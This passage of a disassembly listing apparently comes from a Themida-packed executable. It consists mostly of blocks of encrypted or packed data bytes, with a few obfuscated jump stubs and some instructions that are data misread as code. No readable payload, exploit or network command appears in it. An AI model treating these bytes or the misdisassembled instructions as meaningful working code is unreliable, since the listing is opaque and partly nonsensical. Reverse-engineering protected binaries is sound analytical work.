dd 0CF2B0000h, 7B9202E0h, 0C6264E34h, 7787FBE5h, 0B71A4A38h
dd 50C6FAE8h, 188A15BCh, 0C2208B6Ch, 107239D2h, 0B9278464h
dd 79EB5B23h, 4F428C40h, 48D22B52h, 0E8299B2Bh, 0D92F4494h
dd 5A90D2D2h, 73D06EDEh, 76A83EADh, 0DFFE9682h, 8D3AAE1Eh
dd 0D012BD73h, 7394001Ah, 0BD1A4A38h, 102AC5EEh, 34A00FDFh
dd 0E921D2CDh, 738F371Fh, 0EDC74A16h, 0AF573BBBh, 0B75A2245h
dd 8202A943h, 8699BA40h, 0D1C531FCh, 5A22CF39h, 6D8BBDB7h
dd 2C4621A9h, 72B4CD6Fh, 0E32CE0F9h, 0A7220D6Ah, 835h
dd 247E31C9h, 0B0129D70h, 1D8328C4h, 0AC169975h, 1C8619B8h
dd 0B71AB2A4h, 6D8AFAE8h, 0DB30643Eh, 6682F2D0h, 7D815B45h
dd 8C419B0Dh, 49747142h, 0F3146177h, 0D3C1F2B8h, 403D7635h
dd 7639D43Ch, 0E17B7D3Dh, 436880D8h, 0ECEE1D5Dh, 0D4B4B126h
dd 61000001h, 0ED1AE3FBh, 6E81CE56h, 2EF9836Ch, 5FDF42CAh
dd 0A1313EA1h, 4EAC6546h, 0C05BD6B6h, 6B6DBC23h, 902CE517h
dd 0BD79C628h, 784C1535h, 67ACFFD8h, 0C6F58593h, 8C48CBC2h
dd 197h, 4A617739h, 0F90F7F89h, 0CEC28B2h, 3DD5419Fh, 0AC03DB9Ah
dd 0E1559367h, 94E8FF69h, 7D9BCD44h, 0DB5BD670h, 0A1F6D86Bh
dd 0A546AE3Eh, 0BE14DE06h, 0F8AE572h, 3CA418D9h, 1CBD7895h
dd 0D0C4EDC2h, 48456E31h, 409FC18Ah, 0D2E1511Ah, 0FE48CA91h
dd 793A7196h, 4259B741h, 2A000000h, 50A748D2h, 0A664965Bh
dd 0BD231AB2h, 0F9213EA1h, 327DEABFh, 46B2F827h, 797F30CEh
dd 0C3FC6458h, 0FFDCBD78h, 745D67ACh, 8F2FE62Bh, 1941A0C2h
dd 0DBD1E050h, 0CE7548CAh, 91000000h, 37C1EA01h, 4A61771Ch
dd 0C9D6FB89h, 8728C54Dh, 0DD04704Ah, 1FB911C2h, 6546A232h
dd 0EBC018ACh, 6A8111F5h, 0A03A9041h, 94ECBF6Ch, 5C4FA944h
dd 179474DCh, 0D6863ADAh, 94940C38h, 915EC456h, 54BC3CF7h
dd 36E2F8B3h, 5F6C3496h, 140C34C1h, 0F4AACE56h, 0D0CF32A2h
dd 4BB61E1Ah, 0C066666Eh, 0AC064D0h, 82E7D60Eh, 0B8F9366Fh
dd 0BFB2230Ch, 0AE4C3242h, 0CE10074h, 7D92087Ch, 5ABE00BDh
dd 7D9246B2h, 0B6F436BDh, 10E38EB5h, 0D9F0DB77h, 679h
dd 584A6585h, 4DED12Ch, 512F7C90h, 0E2CD21h, 50326D94h
dd 836EEE60h, 19BEA61Ch, 0A7443092h, 12F69E04h, 0F1952799h
dd 8C43EF59h, 0A5F0DD42h, 5B455A77h, 0E8DAD127h, 4A6177BDh
dd 0D642CACEh, 0A64494E8h, 0E054F464h, 0D84494E8h, 553F94A6h
dd 23CE46B3h, 0E884F07Ch, 32744494h, 0F8108078h, 2ECCFEB3h
dd 3D75F4h, 863C0000h, 9D5EE88Fh, 0B99D6B34h, 6326859Dh
dd 690A630Eh, 7E9D3BCFh, 699B3EADh, 0C3A81C75h, 0A8A6EB9h
dd 0B614BDEEh, 35D47424h, 33C74A01h, 708D05F1h, 0A238923Fh
dd 4B0B7Eh, 0D2CA0000h, 5A51A748h, 9D20A890h, 5B3EA1C4h
dd 7BD4E829h, 8D1C2A5Bh, 7B0502CFh, 0C44C48B0h, 0BC4C852Ah
dd 7803D84Ch, 3C6EB0BDh, 2FD36E9Eh, 0C5A9C74Dh, 4D2FD345h
dd 3177A9B7h, 0CE184Fh, 381C0000h, 4D2F2490h, 48D214B7h
dd 0DD48D20Dh, 10942979h, 891F3708h, 971FA76Fh, 613EADEFh
dd 0BCE7371Fh, 0E5985C12h, 0A06A419Ah, 0F7ADC69Ah, 0FE6E7BD9h
dd 48CE21CFh, 8793h, 48D24000h, 795D79DDh, 94E867D1h, 0EF135544h
dd 30F13E17h, 0D438C226h, 3EAD4A43h, 324BF335h, 74AC6482h
dd 0F871E1A1h, 7EE0FA65h, 0DCF60575h, 519C48C1h, 69000000h
dd 0FCF748D2h, 3B173CE6h, 0EA389CABh, 50AB543Ah, 0E3869E9Ah
dd 7BA75334h, 0FD8D898Fh, 3EAD53DFh, 1A732B5Dh, 1E8D6AAAh
dd 0BB0EDFF5h, 0CE53846Dh, 71A26830h, 7FA1AA50h, 55F5E135h
dd 0BD735DE3h, 0CB91A7D9h, 597F8EFEh, 0D2348C1h, 0F0000000h
dd 94F4F46Fh, 0F4616844h, 30FFFFFEh, 9F748D2h, 0E37A2F14h
dd 385ECA42h, 0FC2E4494h, 8A21C6AEh, 0C230D840h, 0BE3EADA3h
dd 8E98478Ch, 0F413B3A3h, 72C74546h, 729A0E7Eh, 3072B75Bh
dd 9CA6397Ah, 0A925A591h, 8FCD62E9h, 54B9E94Dh, 35A06820h
dd 56BEDA60h, 358AF8B7h, 7018002Bh, 0D31B172Eh, 30A098CAh
dd 6C68D0DBh, 92168DCh, 61E60A3h, 0C88668B0h, 5CC65411h
dd 0F25FE520h, 7485632Bh, 0E29860D4h, 0FE26580Bh, 569BFAABh
dd 685A90DAh, 22CFDCFCh, 5F82730Dh, 0FE8E8A40h, 71D7383Bh
dd 1B8DFDF1h, 0F10DF758h, 0ABB8F9AFh, 1ABE1623h, 0A8432F91h
dd 4A802BCDh, 7F937F89h, 0F7589D07h, 31396B0Dh, 0DF758C7h
dd 0D34F73B5h, 0A49175EEh, 0AA43CF69h, 426F3CCFh, 8ED64288h
dd 0B78F4257h, 627BF7BFh, 0EB86CB4Dh, 0BD1E7643h, 0EF58CC3Ch
dd 0AD400DF7h, 8A408202h, 1C8F6C18h, 0D0CAFCD7h, 8E6DC58Eh
dd 529817E7h, 0F3088870h, 0D23322B8h, 0A52FE449h, 6AAB6843h
dd 7902FFCCh, 2BCC44B4h, 77856480h, 0C60544EDh, 6286EE34h
dd 0C9FC1549h, 90E8F14Fh, 234B3378h, 902CE5CAh, 44940224h
dd 368E5B03h, 0FEEAD8D7h, 0A3357696h, 0E20F9C6Fh, 940273EAh
dd 0AAB76544h, 90F2B952h, 94221DDCh, 0AB596144h, 0EDB12626h
dd 0FFFFFFA3h, 4A6177A6h, 0DFCC2C58h, 0F2B94FBFh, 0E9C2264Eh
dd 6C3F9C28h, 6B7816A7h, 0E7F45249h, 4E5D7B13h, 3FD365A5h
dd 0DE9E02A9h, 0B126F02Fh, 2473h, 48D22000h, 32D179DDh
dd 303EAD73h, 843152EEh, 0E7E4ED4Dh, 0E666D25Dh, 0C74A1627h
dd 88FBE325h, 3Eh, 0DD48D249h, 7332D179h, 0EE303EADh, 0C92EA652h
dd 941BF2E2h, 0ADA51D86h, 96101949h, 75E093ECh, 0F3F0F963h
dd 0B25ABE69h, 0C74A1713h, 3EFCF11h, 8EE9F2DBh, 470F75Ch
dd 0BB0FC4E7h, 93FB361Dh, 4A80316Eh, 278464B0h, 31A3232Fh
dd 74494E8h, 0A0E43D5h, 0E606738Ah, 9DF503C5h, 0BD12703Bh
dd 0F89088A3h, 3EA1F6ADh, 0D4E8295Bh, 0BD78016Ch, 9808D179h
dd 48CA0569h, 462Dh, 48D2E600h, 0F55D79DDh, 0A3159516h
dd 0A94494E8h, 184A5A55h, 8F761602h, 7D3EA1BDh, 0A443CB4Bh
dd 0EAF0CA07h, 3C6DD3E9h, 0D278BD78h, 246A9909h, 1EB648CAh
dd 0C44EECB3h, 0EAh, 0DC48C0D4h, 0ACBD7830h, 7775607Ah
dd 96CE4A61h, 6FE94D8h, 9318F0BEh, 0DC5EAC5Eh, 4D519177h
dd 4F5CAF01h, 0C6BC68A2h, 5F4CACF2h, 889258B2h, 3EBAE50Ch
dd 46C637D6h, 44942ED2h, 813278AAh, 32A2AF49h, 2C1CD5D6h
dd 0D26843A4h, 9B05A642h, 942382DFh, 96C8C44h, 0BFFBB8F3h
dd 636F9709h, 942A71E3h, 27845744h, 9469699Bh, 7395FD1Bh
dd 5C3EC02h, 1E0913CCh, 1B17923Ah, 11053EA1h, 79790F79h
dd 0FDCBFDBDh, 0D2B73A3h, 4F229365h, 0DF698694h, 1064E454h
dd 0E8C74D45h, 2FD242B6h, 7F621270h, 0C67AAB20h, 0E4CF70FEh
dd 1A8E5h, 0FBB45600h, 0AF00DD85h, 604BA1D1h, 0B3FC1282h
dd 633CA5CDh, 3FDD517Dh, 0EFA3FDA2h, 452D9318h, 0E79B05A6h
dd 96289A11h, 47EE5AF2h, 0F1DE428Ch, 455A77A4h, 0DAD1275Bh
dd 48D2BDE8h, 0F55D79DDh, 585930Ch, 3EA1BD1Eh, 83F9BAECh
dd 0BD783B1Dh, 0A9192208h, 48CA231Ah, 0C240h, 61771500h
dd 0F5B3F814h, 7629C8BCh, 0E5223F3Dh, 0CEC4494h, 3DD5419Fh
dd 26E40D9Eh, 132E9A32h, 0EC1EBB6Bh, 8922C64Eh, 0A28D9748h
dd 0EEBD1EB6h, 23F305C5h, 5E2200A3h, 0AC5A8AC1h, 0B5E2D2F2h
dd 0A3CC852h, 4962860Eh, 83CB3DCDh, 7FC1BD78h, 8C962779h
dd 2215B5A1h, 18C74C2Ch, 0FFE272E6h, 0AF5242A0h, 2D347BF0h
dd 7EA970FEh, 0DC0Bh, 0E7C82200h, 3B7489F9h, 0ECBF1D45h
dd 3F708EF6h, 0CFD03161h, 0D349BDF1h, 630F712Eh, 0C9B92784h
dd 5B077932h, 7A542E7Dh, 5882F696h, 8D7A428Ch, 455A7740h
dd 1FA7AB5Bh, 4494E8B5h, 5BB74183h, 0A4542E7Dh, 16DBD02Ch
dd 60D474E4h, 584494E8h, 77C11426h, 0ED1461h, 94E81C88h
dd 0F0BAEC44h, 0DF263EBAh, 0C43F17B2h, 0CE1C8F69h, 5B7D074Ch
dd 9468E850h, 0F39F0117h, 32A29615h, 0EA20D1DAh, 46A2D250h
dd 65E5F165h, 44945BF3h, 279F97C9h, 44945BBDh, 92BF598Bh
dd 0D7817FFAh, 0A3B00E79h, 3A83FCFh, 56C24ACEh, 26F0A6B1h
dd 801426E4h, 355D4368h, 0A91BD8D3h, 813A7455h, 0FA6266D8h
dd 0EE7003B0h, 0A6B8DE5h, 92F0BAF1h, 0B1A506E2h, 5AE0CB21h
dd 380F9h, 40510000h, 4C637759h, 0D0DBFD87h, 515AB123h
dd 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h
dd 5D52AB19h, 0ED6852B4h, 8900003Bh, 8950242Ch, 405E0h
dd 42D0000h, 87000000h, 895C2404h, 89572414h, 4C781E7h
dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0F1B95157h, 8906189Ch
dd 0FA8959CFh, 4EC835Fh, 81242489h, 42404h, 52590000h
dd 43243481h, 8F740651h, 0BE560841h, 74065143h, 5E087131h
dd 52240C8Bh, 0C281E289h, 4, 8704C283h, 8B5C2414h, 89502414h
dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB9550h
dd 0B6024CE3h, 7A041FBEh
db 0Fh, 6, 8Dh
; ---------------------------------------------------------------------------
loc_5D750F: ; CODE XREF: Themida_:005D5F20j
mov eax, 618B1ACh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 4663CCBBh, 749B56DCh, 76B1CF82h, 14890B74h, 234F6E3h
dd 1446D4D6h, 5FC1B249h, 79B06014h, 2FF36F9Ah, 22414483h
dd 626F987Ah, 79F95334h, 30FD3560h, 406F144Dh, 3B28080h
dd 342EE158h, 18DA2564h, 8E8h, 8CEE3600h, 0B4575B46h, 0D0BF0F9Eh
dd 81F98B59h, 5B82C1h, 0BE1CB600h, 13965AE6h, 0BBCAC681h
dd 0EE9EC69h, 0FB000000h, 545D8E22h, 4E3A7A21h, 86B61A4Eh
dd 8131FF64h, 7AC4B8DFh, 81FC5B33h, 5B7C7FF3h, 9E905h
dd 476B0000h, 164BE1CAh, 81FACD4Bh, 8A0751C3h, 18890F7Bh
dd 0E9000000h, 13h, 0C9C01385h, 57C16D3Fh, 3C03C34Ah, 8AC8F384h
dd 81331175h, 41B23EF3h, 0DCEF810Eh, 8906F735h, 0BA666019h
dd 8361B3CDh, 0DF8101E9h, 5B8CE1C1h, 60494949h, 9E8h, 98E4D600h
dd 9A47BB93h, 0BB6613B4h, 0F5FEEC0h, 381h, 0C88B6600h
dd 1EE8161h, 0F000000h, 0FFFF7485h, 41E081FFh, 0E941EEF4h
dd 28h, 3F02CCC2h, 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D827A
; ---------------------------------------------------------------------------
push 618B520h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618B61Ch
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618B793h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618B8BDh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618BBADh
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618BD41h
jmp loc_590A54
; ---------------------------------------------------------------------------
push 618BE33h
jmp loc_590A54
; ---------------------------------------------------------------------------
db 4Ch
dd 0F39F01AEh, 372B951Ah, 0E89C06A5h, 3B279916h, 27970996h
dd 336C9537h, 0E9C2254Dh, 3B708BF7h, 0F0BB1D45h, 0B4543C92h
dd 428C5B40h, 0CD454B38h, 84367B24h, 2AB0FB10h, 4A61772Bh
dd 565F7F89h, 6FCE12A5h, 28C054E6h, 0B6D01D83h, 0B80B7B7Bh
dd 4E3EA1D2h, 0E8381C1Ch, 353F1DDBh, 0E7515991h, 0D5BD79AAh
dd 304C8593h, 0BD79AAC8h, 986C75D5h, 2F432B48h, 8E609AD8h
dd 0A951E721h, 48CB281Ah, 4B40h, 17FB1500h, 94E8056Fh
dd 87FFF344h, 4494E81Dh, 0E9EFB9EBh, 47AF7A04h, 55BF474Bh
dd 234494E8h, 0CCB357E1h, 0BA3EA1BDh, 0CB314B88h, 0C9BD783Ch
dd 5A64128h, 5B860EC3h, 4CF28F44h, 0DC825D7Fh, 24109F0Fh
dd 0BE3648CAh, 0F000000h, 894A6177h, 8C9D6FBh, 0C4195C7Ch
dd 62EE26EBh, 0F9B0C4B1h, 2BE822E8h, 0EC6C3F99h, 14268964h
dd 9A8BDE8Eh, 77914494h, 0C2264E34h, 0FCE56DE9h, 7E9C6EA3h
dd 0D79BC355h, 87BB2981h, 223C31C7h, 94770F07h, 163EA19Eh
dd 0A0515A7Eh, 0F234D06Ah, 0A253F90h, 4A61860Eh, 6D60E8B0h
dd 0DFC74D71h, 0C0E9D6Fh, 42D24678h, 0F2A2009Fh, 3C1B900Fh
dd 0F170FF21h, 9D8B3C6h, 43970000h, 0EF0E766Ch, 5AB2E2C0h
dd 0EB036F51h, 4BB6DEC4h, 0CC426E54h, 94EEB150h, 3EA407E0h
dd 8CF6B556h, 35AB00D8h, 0FD67DFA7h, 0CB428C5Dh, 17FBB7DEh
dd 94E8056Fh, 27B1F344h, 279906EBh, 0B40E9D3Bh, 7593FB01h
dd 0B1CBA436h, 0C9FFAC40h, 0BDC6BD4Dh, 82C43EA1h, 3CC53B51h
dd 34D3BD78h, 0AE4A3A77h, 0A111D4FDh, 230B7698h, 2417A616h
dd 0D5C148CAh, 7830C335h, 7187B9BDh, 0BF1Fh, 6177F400h
dd 9B46CE4Ah, 0E7DDF604h, 23885F0Ah, 0C5902CE5h, 0C74494E5h
dd 0BE283A97h, 20BA80F2h, 299714F4h, 0C70C9F39h, 583D0E18h
dd 0B0B56C77h, 0B5A19553h, 6BCDA315h, 2B9D2DBBh, 21BB6BCDh
dd 97A1E3DFh, 0FB04077Fh, 0B0F2C15Eh, 0C863FDD2h, 5124B850h
dd 0E868C74Ch, 2829813h, 583C58C0h, 429944B0h, 3A844B7h
dd 57BB3D7Fh, 0C7BB257Ah, 15F4752Ah, 0E270FE09h, 8DCC0B9h
dd 77930000h, 0C31A4A38h, 6E8EF6ECh, 0DF2F633Dh, 5F82F2D0h
dd 0F86E6240h, 0C0227D64h, 0A7833D4h, 0B82A815Ah, 217F2CCCh
dd 0D143C3CBh, 0A7428C5Eh, 5A7793BAh, 73AB5B45h, 82599EBh
dd 0CC48D27Bh, 0B2217F2Ch, 894A6177h, 0F4CEDDFBh, 3A658C04h
dd 0B6B74179h, 0F59581ACh, 3EA1F78Ah, 0F852E70h, 1E46B2F9h
dd 0E70A59ACh, 0C76F0CB8h, 0B561BF59h, 3F10956Dh, 0F6D4FDA2h
dd 0E68066CEh, 8328C054h, 989C3E4Eh, 5DFD2BFCh, 0F9C3C94h
dd 5B50A727h, 0D92F63BDh, 34AB21D2h, 1B22FCD8h, 0F2166E7Bh
dd 3D9BC7B9h, 0DA47456Eh, 0E483AEA0h, 0F3156D76h, 3E9ACAB8h
dd 2018A3BBh, 63EAFDD8h, 0FC9CFD67h, 4F99CB22h, 38F38DA2h
dd 0EFBC50C0h, 529D2DE9h, 0C858C9A9h, 89932C96h, 0BE1ABA9Eh
dd 0F406C4EDh, 9069A424h, 8DCF5EF4h, 7F5CF464h, 513E72Ch
dd 0D6B81E85h, 1821091Eh, 64BC19A8h, 5033DEBh, 86160000h
dd 0BA750F78h, 263E5A3Eh, 0EE775B7Fh, 0C83C30F8h, 0C04494C5h
dd 49107C7Eh, 4B3EA1D7h, 2FCBA113h, 3FCF2369h, 973A3A70h
dd 5092F208h, 3429F870h, 0C852F13Bh, 2E51F95Dh, 0C23BC49h
dd 0B1623DA4h, 77A78F59h, 0BDF3F59h, 9CB54353h, 0B420A8ACh
dd 84539E40h, 0ADB7B842h, 2BF69682h, 0D129AB7Bh, 0D127A78Fh
dd 5C7CE8DAh, 5595A4Fh, 5D468E1Fh, 7655Ch, 0BFF00A00h
dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h
dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h, 5F5ACE3Eh
dd 3532428Ch, 4A617708h, 0CAE1FB89h, 11DA1D8h, 0D2700000h
dd 2777DF4Ah, 0C4039F95h, 18C852A6h, 174587F7h, 1A2BDA4Ah
dd 0B06FB126h, 24000000h, 77DF4AD2h, 951AF35Bh, 0E8900783h
dd 92024494h, 9F09817Ch, 6D4494E8h, 176B6D3Bh, 40982CE5h
dd 0EB0D756Bh, 0E80A7E0Eh, 0C0024494h, 62860E0Ah, 0B6A2AF49h
dd 0E8F2B91Eh, 46B27D07h, 801FC252h, 72720064h, 52E8880Ch
dd 0A18787BAh, 0D50D093Eh, 9AB432A0h, 7AEEDE21h, 62BD7925h
dd 29A1218Ah, 0C0EDCCFh, 0F78D4678h, 0FF09CAE1h, 79251D87h
dd 0B9B9EBBDh, 36478C1Fh, 6FC3CB98h, 1918413Bh, 0A351307Ah
dd 44A3C62Bh, 9A50AA67h, 0C597A159h, 647D8CFCh, 142148CBh
dd 0F2000000h, 0FB6Ch, 0F5088800h, 5ACE3EBAh, 324494E8h
dd 0D2EBEAF0h, 2979DD48h, 6B07FD95h, 0D1C553BDh, 0A1EE7239h
dd 7DEE303Eh, 77149A78h, 3B47426Dh, 34000006h, 7BE7D9D6h
dd 0FF734D62h, 0B0E4BEEDh, 36F515Eh, 0EFDFC1DEh, 0ABF4DD7Fh
dd 1AA4D35h, 9318F39Fh, 8A3452Dh, 0CC3C449Ah, 428C5058h
dd 0FB0A3330h, 0A6347B93h, 0CE72BDC9h, 2A9E2E2Ah, 224494E8h
dd 985952AAh, 1192A862h, 515A7E8Eh, 0F1D434A0h, 0A291AF7Bh
dd 19DA10A2h, 0D5F7C48Ah, 28C717FFh, 1CE03081h, 7D48A90h
dd 26D46897h, 2F2EB1h, 0D2E70000h, 5EBFDF4Ah, 646DEF5Fh
dd 26F0C5F4h, 1B89B1h, 0D23A0000h, 5EBFDF4Ah, 7B481638h
dd 94E0AA1Bh, 2ADAE244h, 6E4ED914h, 0FFFFFE73h, 7493FB27h
dd 125A7A37h, 892C6CF2h, 0E30C0EDCh, 0C4B0D05Bh, 6110A19Ch
dd 7C7E86D4h, 0BF9D3F27h, 0BB342B2h, 96D7B126h, 0AC000002h
dd 0F3935A77h, 4494E881h, 0B04D4577h, 7C08C9FFh, 0B9E94D62h
dd 0D90481B8h, 98B93FB0h, 33E0CB2Ch, 0B25F40A1h, 666E7B1Bh
dd 0EE460A30h, 0C9FCAE1Dh, 48C6069h, 0DF33C5EAh, 158A6702h
dd 5C85EDD3h, 0C7618E43h, 60E8EC6Ch, 4494BCF4h, 0A07882C4h
dd 0A1A12D28h, 576FAF3Eh, 0CE46B159h, 34760E2Ch, 616AF47Fh
dd 0C9B7E809h, 0AA673899h, 79B1AA12h, 0D6E3A3BDh, 564C537Eh
dd 0A22AC32Eh, 0BD79BF36h, 0BF86F29Ah, 3476BD79h, 3CBCEE30h
dd 0BF44B058h, 0F234BD79h, 2A34EBE8h, 8BFB17FFh, 0BD79BF19h
dd 0C149ADEFh, 0BD79BF57h, 4155E325h, 8E21BD55h, 0D97FBF65h
dd 0EC0D9629h, 0E1701C1Eh, 0B3C74C8Ah, 0C5EEBD1Bh, 4D8FF305h
dd 65C05A73h, 879659F1h, 4284CD7Bh, 0A589FB91h, 798FA953h
dd 0FA138132h, 0AAA8FCB5h, 4E0C7FA1h, 33FE8885h, 43C3CFC3h
dd 0A953A5D1h, 276375A7h, 0D36690C4h, 8808F032h, 44763B70h
dd 0E0F86CB6h, 160206CBh, 20D70276h, 0CE2FAA3h, 0DA15627Fh
dd 236F893Fh, 505BB0C5h, 0B5A167A3h, 23BBBA1Dh, 66BC3E8Ch
dd 1AB2CF59h, 0A320E8AEh, 0D3D869Eh, 6AB1CF9h, 7A1206C4h
dd 0D915EE2Fh, 5666ABDDh, 0A535EAEEh, 62850DFBh, 0E0FC8849h
dd 61FBFDCBh, 0EED9E858h, 0F035087h, 35E20D77h, 8DF78FA5h
dd 7BA535E2h, 0F1073949h, 3D9Fh, 48D27400h, 0EAD179DDh
dd 0D83EA1BDh, 6272B2A6h, 7FCEACB6h, 253320BAh, 0DB5D4EADh
dd 78A9C92Fh, 6D76D4BDh, 16E3F999h, 78A90276h, 2C8FABDh
dd 9BDFF9D1h, 48CAB16Ch, 0B532h, 6177E300h, 0D6FB894Ah
dd 27C54DC9h, 675D7684h, 0EBD91A91h, 0D4449E0Dh, 0E8DC48C0h
dd 44AC4494h, 0D1C107A4h, 226A703Bh, 4494E557h, 555EE939h
dd 0F53FB7BEh, 83CAE1CDh, 0CA508BC6h, 0A3FDAE4Ah, 0CB43304Ah
dd 78527F2Ch, 6BC680F4h, 844678BBh, 6996F494h, 5092C15Fh
dd 8A64ECE8h, 0C0EEC25h, 4C366988h, 0E5E6B918h, 77111FDAh
dd 4BC5C4EFh, 24000003h, 8BF7E9C6h, 2F633D72h, 80F4CEDDh
dd 335F416Eh, 0BFEFD1CEh, 7B24CD4Fh, 317A5D05h, 0E3C8234Fh
dd 387395FDh, 0FC8C744Ah
dd 428C5388h, 773A8380h, 0C5D1455Ah, 94E8D345h, 6177A944h
dd 0F6B5533Fh, 6177198Ch, 5F7F894Ah, 0E54DDE1Bh, 68BD6542h
dd 4E7A5C04h, 50A8ECEEh, 4FF7DB5Bh, 4494ECE5h, 2B805BD3h
dd 44D614E6h, 439A3ADEh, 0C553A76Ch, 4A61778Eh, 0D642CACEh
dd 0A64494E8h, 119E7064h, 0C3102AE0h, 0E7437D1h, 8C8CA7C1h
dd 34C6E904h, 0F651E464h, 0F5273EA1h, 258C0BCh, 0E545BD78h
dd 65D6CDCh, 420148CAh, 0D2000000h, 79DD48D2h, 0A1BDEAD1h
dd 6DA6D83Eh, 0B86DC3DBh, 5E69143h, 3F2197F3h, 0D83CBD78h
dd 36D5A038h, 4C7E3C75h, 0B32330AEh, 48CA2704h, 1AE40D0h
dd 8EFEFAD0h, 0BD78331Ah, 0E82AB0F2h, 0FCh, 4A61779Dh
dd 0C9D6FB89h, 4F5C7C08h, 0C01EB6A2h, 0F208C2EFh, 0F16546A2h
dd 0B405D8B1h, 49CF61A9h, 94D0A3D7h, 0D2364494h, 84359F27h
dd 0C1034494h, 8443B555h, 7394494h, 55B3DFC1h, 0DDD22CA4h
dd 94847BEDh, 0D90F5144h, 0FED9795Dh, 844BBDADh, 0B6514494h
dd 9D3B6DF5h, 46E17BB4h, 0B5FF3AD2h, 45AD3EA1h, 51C5039Ch
dd 0D353C545h, 6C89BD79h, 92827054h, 0C0B4F66Eh, 7753802Bh
dd 94AE3F61h, 5B2D9D99h, 0B1C74DCDh, 0EA07876Fh, 0B31BCBB5h
dd 0ECC31B4Eh, 315F51Eh, 3C2D728Fh, 70FF7D15h, 0B7605942h
dd 0B8000001h, 3F338D22h, 0F39F01AEh, 44309219h, 0E79B05AAh
dd 732B950Ah, 0B7E80983h, 6D3E99C9h, 1F8C5F13h, 7437D1C1h
dd 30D8C00Eh, 428C55C4h, 0FB8EB7B4h, 0E8056F17h, 0B1F34494h
dd 0E853C545h, 0F7294494h, 4F50B1E1h, 0F9918571h, 4494E88Fh
dd 65AD4B7Dh, 0BBA2883h, 79DD48D2h, 0A1BDEAD1h, 9B70D83Eh
dd 1DF1E310h, 61925892h, 783CF56Bh, 8C04F0BDh, 943D72h
dd 0B713C0EBh, 6C75E7F1h, 0CA24CDFCh, 0B19148h, 91850000h
dd 78308FF9h, 0AD4B7DBDh, 4A6177A6h, 0C9D6FB89h, 74140008h
dd 4494E800h, 0D834C6F8h, 4494E58Dh, 643E6D8Bh, 1ED3D830h
dd 68379A3Ah, 0A8839DD2h, 259D18B0h, 598BC15Eh, 138C75DDh
dd 940E2CDEh, 9F0CEC64h, 1DD6D533h, 8125BDDh, 0A691391Dh
dd 94C74C8Ch, 836EE652h, 13BEA61Ch, 0BCFCFF8Ch, 0FE2970FEh
dd 0C58Bh, 5F50AA00h, 0B3FC1181h, 6447A5CDh, 0B7F8167Eh
dd 673899C9h, 3BD14579h, 0EB970996h, 51419F0Ch, 0E38FF1BAh
dd 0A23CA605h, 56FA6EDEh, 0D5D2428Ch, 455A77A8h, 28D1275Bh
dd 94E834A0h, 0D2C20444h, 8A40713Ah, 77736240h, 0FB894A61h
dd 0DBF4CEDDh, 0DA72E641h, 3EAD5B00h, 7F15BE00h, 0B8604269h
dd 50EAC518h, 4A8724C4h, 4C56ED32h, 854EECD2h, 2E0CB2Dh
dd 7C357692h, 0C4E7048Ch, 0F51DBB0Fh, 675D9619h, 3BD91A91h
dd 4A0DFFB3h, 0F8148035h, 0DB83FEB3h, 26923A0Eh, 168458F8h
dd 0D17D16D4h, 5358B008h, 19866BE3h, 8A1822D8h, 4ADFEDAh
dd 1185h, 93FB4C00h, 12DB4F7Ah, 0B68B546Dh, 0ED0BBFF4h
dd 6377476Eh, 0DBFD874Ch, 5AB123D0h, 0D334A051h, 48A91BD8h
dd 0C72A9A57h, 55A91BD8h, 0D12B995Ah, 52AB19DAh, 5252B45Dh
dd 0C281E289h, 4, 8704EA83h, 248B2414h, 4E4D6824h, 34890000h
dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 243C895Ch
dd 1D88BA52h, 0EA816C5Ah, 664169B3h, 685AD689h, 0C6Fh
dd 83242489h, 5F042404h, 4EC81h, 34890000h, 242C8124h
dd 21124B7Eh, 8108478Fh, 4B7E0847h, 3C8B2112h, 0E3895324h
dd 4C381h, 0C3830000h, 241C8704h, 24348B5Ch, 81E18951h
dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFB87DCh
db 5Ah, 0C7h
; ---------------------------------------------------------------------------
loc_5D827A: ; CODE XREF: Themida_:005D7654j
; Themida_:005D828Cj
mov eax, 618BF1Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
align 4
add [edx+6Eh], ebx
inc ebx
stosb
test al, 5Eh
push eax
jb short loc_5D827A
xor esp, ebp
lds esp, [ebx+edx]
fbld tbyte ptr [edx+1E681C0Eh]
retn
; ---------------------------------------------------------------------------
dw 0D366h
dd 0A31D28A2h, 8E2A8571h, 0AC614CCCh, 9A4ADA8Fh, 0AB555427h
dd 0A5EB86Ch, 0E949B050h, 0Eh, 2F56FE50h, 7C809E01h, 0
dd 11E90000h, 6800000Eh, 618C195h, 0FAC153E9h, 0C2F868FFh
dd 49E90618h, 68FFFAC1h, 618C44Ch, 0FAC13FE9h, 0C58F68FFh
dd 35E90618h, 68FFFAC1h, 618C710h, 0FAC12BE9h, 0C9EC68FFh
dd 21E90618h, 68FFFAC1h, 618CB0Bh, 0FAC117E9h, 0CC5E68FFh
dd 0DE90618h, 12FFFAC1h, 0E3492C4h, 0E3492BCh, 103290BAh
dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h
dd 4CDDC3h, 47B699A2h, 16B674CBh, 0BDE17D94h, 6D51E06Ch
dd 565270DCh, 7B5C7B0Bh, 0B4AD295Ch, 77E6109Dh, 109DB51Bh
dd 7392A1E4h, 0A2DF1A69h, 5F68168Eh, 9DE76Bh, 0A52308E8h
dd 458389E5h, 0D7F44524h, 58E961F3h, 0F250AF39h, 490A8A8Dh
dd 0BA98280Ah, 3963D832h, 5AAD3F7Bh, 48E3h, 0BEA37700h
dd 75C7EBC8h, 0EE4284D5h, 0ED8C0D5Ch, 8687F6E3h, 57168E98h
dd 1B3AE970h, 3FAE045Ah, 0A8A90E3h, 690869ACh, 0A9DCFBD8h
